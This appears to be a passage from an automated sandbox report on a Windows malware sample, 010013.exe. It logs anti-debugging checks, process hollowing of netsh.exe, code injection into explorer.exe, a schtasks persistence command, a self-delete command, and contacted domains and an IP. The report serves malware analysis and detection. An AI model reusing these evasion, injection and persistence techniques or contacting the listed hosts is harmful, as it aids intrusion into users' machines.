Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]	10_2_033E3D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DAD30 mov eax, dword ptr fs:[00000030h]	10_2_033DAD30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]	10_2_033F4120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]	10_2_033F4120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]	10_2_033F4120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]	10_2_033F4120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov ecx, dword ptr fs:[00000030h]	10_2_033F4120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9100 mov eax, dword ptr fs:[00000030h]	10_2_033D9100
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9100 mov eax, dword ptr fs:[00000030h]	10_2_033D9100
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9100 mov eax, dword ptr fs:[00000030h]	10_2_033D9100
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FC577 mov eax, dword ptr fs:[00000030h]	10_2_033FC577
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FC577 mov eax, dword ptr fs:[00000030h]	10_2_033FC577
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB171 mov eax, dword ptr fs:[00000030h]	10_2_033DB171
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB171 mov eax, dword ptr fs:[00000030h]	10_2_033DB171
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC962 mov eax, dword ptr fs:[00000030h]	10_2_033DC962
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F7D50 mov eax, dword ptr fs:[00000030h]	10_2_033F7D50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0345A537 mov eax, dword ptr fs:[00000030h]	10_2_0345A537
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340513A mov eax, dword ptr fs:[00000030h]	10_2_0340513A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340513A mov eax, dword ptr fs:[00000030h]	10_2_0340513A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FB944 mov eax, dword ptr fs:[00000030h]	10_2_033FB944
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FB944 mov eax, dword ptr fs:[00000030h]	10_2_033FB944
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03404D3B mov eax, dword ptr fs:[00000030h]	10_2_03404D3B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03404D3B mov eax, dword ptr fs:[00000030h]	10_2_03404D3B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03404D3B mov eax, dword ptr fs:[00000030h]	10_2_03404D3B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8D34 mov eax, dword ptr fs:[00000030h]	10_2_034A8D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034641E8 mov eax, dword ptr fs:[00000030h]	10_2_034641E8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]	10_2_033D2D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]	10_2_033D2D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]	10_2_033D2D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]	10_2_033D2D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]	10_2_033D2D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03488DF1 mov eax, dword ptr fs:[00000030h]	10_2_03488DF1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FC182 mov eax, dword ptr fs:[00000030h]	10_2_033FC182
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A185 mov eax, dword ptr fs:[00000030h]	10_2_0340A185
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340FD9B mov eax, dword ptr fs:[00000030h]	10_2_0340FD9B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340FD9B mov eax, dword ptr fs:[00000030h]	10_2_0340FD9B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB1E1 mov eax, dword ptr fs:[00000030h]	10_2_033DB1E1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB1E1 mov eax, dword ptr fs:[00000030h]	10_2_033DB1E1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB1E1 mov eax, dword ptr fs:[00000030h]	10_2_033DB1E1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033ED5E0 mov eax, dword ptr fs:[00000030h]	10_2_033ED5E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033ED5E0 mov eax, dword ptr fs:[00000030h]	10_2_033ED5E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034061A0 mov eax, dword ptr fs:[00000030h]	10_2_034061A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034061A0 mov eax, dword ptr fs:[00000030h]	10_2_034061A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034035A1 mov eax, dword ptr fs:[00000030h]	10_2_034035A1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034569A6 mov eax, dword ptr fs:[00000030h]	10_2_034569A6
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03401DB5 mov eax, dword ptr fs:[00000030h]	10_2_03401DB5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03401DB5 mov eax, dword ptr fs:[00000030h]	10_2_03401DB5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03401DB5 mov eax, dword ptr fs:[00000030h]	10_2_03401DB5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A44B mov eax, dword ptr fs:[00000030h]	10_2_0340A44B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]	10_2_033EB02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]	10_2_033EB02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]	10_2_033EB02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]	10_2_033EB02A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346C450 mov eax, dword ptr fs:[00000030h]	10_2_0346C450
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346C450 mov eax, dword ptr fs:[00000030h]	10_2_0346C450
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03492073 mov eax, dword ptr fs:[00000030h]	10_2_03492073
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A1074 mov eax, dword ptr fs:[00000030h]	10_2_034A1074
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A740D mov eax, dword ptr fs:[00000030h]	10_2_034A740D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A740D mov eax, dword ptr fs:[00000030h]	10_2_034A740D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A740D mov eax, dword ptr fs:[00000030h]	10_2_034A740D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]	10_2_03491C06
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]	10_2_03456C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]	10_2_03456C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]	10_2_03456C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]	10_2_03456C0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F746D mov eax, dword ptr fs:[00000030h]	10_2_033F746D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457016 mov eax, dword ptr fs:[00000030h]	10_2_03457016
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457016 mov eax, dword ptr fs:[00000030h]	10_2_03457016
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457016 mov eax, dword ptr fs:[00000030h]	10_2_03457016
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A4015 mov eax, dword ptr fs:[00000030h]	10_2_034A4015
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A4015 mov eax, dword ptr fs:[00000030h]	10_2_034A4015
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340BC2C mov eax, dword ptr fs:[00000030h]	10_2_0340BC2C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F0050 mov eax, dword ptr fs:[00000030h]	10_2_033F0050
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F0050 mov eax, dword ptr fs:[00000030h]	10_2_033F0050
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0346B8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov ecx, dword ptr fs:[00000030h]	10_2_0346B8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0346B8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0346B8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0346B8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]	10_2_0346B8D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8CD6 mov eax, dword ptr fs:[00000030h]	10_2_034A8CD6
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E849B mov eax, dword ptr fs:[00000030h]	10_2_033E849B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034914FB mov eax, dword ptr fs:[00000030h]	10_2_034914FB
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456CF0 mov eax, dword ptr fs:[00000030h]	10_2_03456CF0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456CF0 mov eax, dword ptr fs:[00000030h]	10_2_03456CF0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456CF0 mov eax, dword ptr fs:[00000030h]	10_2_03456CF0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9080 mov eax, dword ptr fs:[00000030h]	10_2_033D9080
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03453884 mov eax, dword ptr fs:[00000030h]	10_2_03453884
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03453884 mov eax, dword ptr fs:[00000030h]	10_2_03453884
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034190AF mov eax, dword ptr fs:[00000030h]	10_2_034190AF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340F0BF mov ecx, dword ptr fs:[00000030h]	10_2_0340F0BF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340F0BF mov eax, dword ptr fs:[00000030h]	10_2_0340F0BF
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340F0BF mov eax, dword ptr fs:[00000030h]	10_2_0340F0BF

Source: C:\Users\user\Desktop\010013.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

Code function: 6_2_0040ACC0 LdrLoadDll,

6_2_0040ACC0

Source: C:\Users\user\Desktop\010013.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.smithridge.net
Source: C:\Windows\explorer.exe	Domain query: www.lifestyleeve.com
Source: C:\Windows\explorer.exe	Domain query: www.myceliated.com
Source: C:\Windows\explorer.exe	Network Connect: 199.59.242.153 80	Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\010013.exe

Section unmapped: C:\Windows\SysWOW64\netsh.exe base address: 9F0000

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\010013.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\010013.exe

Memory written: C:\Users\user\Desktop\010013.exe base: 400000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\010013.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\010013.exe	Thread register set: target process: 3424			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Thread register set: target process: 3424			Jump to behavior

Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Users\user\Desktop\010013.exe C:\Users\user\Desktop\010013.exe	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\010013.exe'	Jump to behavior

Source: explorer.exe, 00000007.00000000.708597735.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000007.00000000.746404873.0000000001080000.00000002.00020000.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000007.00000000.719268649.0000000005E50000.00000004.00000001.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 010013.exe	Binary or memory string: ProgMan
Source: explorer.exe, 00000007.00000000.746404873.0000000001080000.00000002.00020000.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: 010013.exe	Binary or memory string: ProgMan!SHELLDLL_DefVIew
Source: explorer.exe, 00000007.00000000.746404873.0000000001080000.00000002.00020000.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Users\user\Desktop\010013.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
